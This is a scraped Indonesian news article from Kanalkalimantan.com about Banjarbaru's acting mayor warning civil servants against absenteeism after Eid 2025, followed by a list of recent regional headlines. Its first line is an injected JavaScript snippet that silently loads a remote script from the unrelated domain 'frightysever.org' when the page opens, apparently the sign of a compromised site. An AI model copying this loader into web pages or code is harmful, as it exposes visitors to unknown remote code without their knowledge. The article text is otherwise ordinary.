(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pj Wali Kota Subhan: Tak Ada Toleransi Pegawai Bolos Kerja


KANALKALIMANTAN.COM, BANJARBARU – Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil mengimbau kepada para pegawai Aparatur Sipil Negara (ASN) di Lingkungan Pemerintah Kota (Pemko) Banjarbaru untuk tidak bolos bekerja seusai Lebaran Idul Fitri 2025.

Dia memberitahukan kepada kepala SKPD agar memantau pegawai yang tidak hadir.

“Tidak hadir alasannya itu apa, sakit atau tanpa kabar,” ujar Pj Wali Kota Banjarbaru setelah apel gabungan perangkat daerah Kota Banjarbaru di lapangan dr Murdjani, Selasa (8/4/2025).

Menurut Pj Wali Kota tidak akan ada toleransi bagi pegawai yang mangkir tanpa alasan jelas. Ia menegaskan akan ada sanksi yang berlaku bagi ASN yang tidak masuk kerja tanpa alasan yang jelas.

Baca juga: Silaturahmi Bupati dan Wabup HSU dengan PCNU dan Muslimat Alabio

“Jika ada yang tanpa kabar berikan teguran tertulis melalui kepala SKPD kepada ASN dan Non ASN yang tidak hadir tanpa kabar,” tegas dia.

Pada apel hari pertama masuk kerja, Subhan menyebutkan data ASN yang hadir, dan ada yang mengajukan cuti. Pegawai diminta dapat dapat kembali bekerja dan beraktivitas semula.

“Yang kewajiban melayani publik silahkan layani, maupun menyelesaikan kerjaan mereka yang belum selesai saat cuti bersama kemarin, karena lumayan cukup panjang,” jelasnya.

Apel gabungan perangkat daerah Pemerintah Kota Banjarbaru di lapangan dr Murdjani, Selasa (8/4/2025) pagi. Foto: medcenbjb

Baca juga: Dishub Kalsel Rekayasa Kurangi Kecepatan Kendaraan di A Yani Mekatani 

Ia berharap pegawai dapat bekerja secara profesional dan menunjukkan kedisiplinan tinggi sebagai bentuk pelayanan terhadap masyarakat.

Sanksi bagi ASN tak masuk kerja ini tertuang dalam PP Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil.

Terdapat 3 jenis sanksi untuk ASN yang tak masuk kerja, dengan akumulasi tertentu selama setahun. Sanksi dapat berupa hukuman disiplin ringan, sedang, atau berat. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

9 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

10 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

12 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

13 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.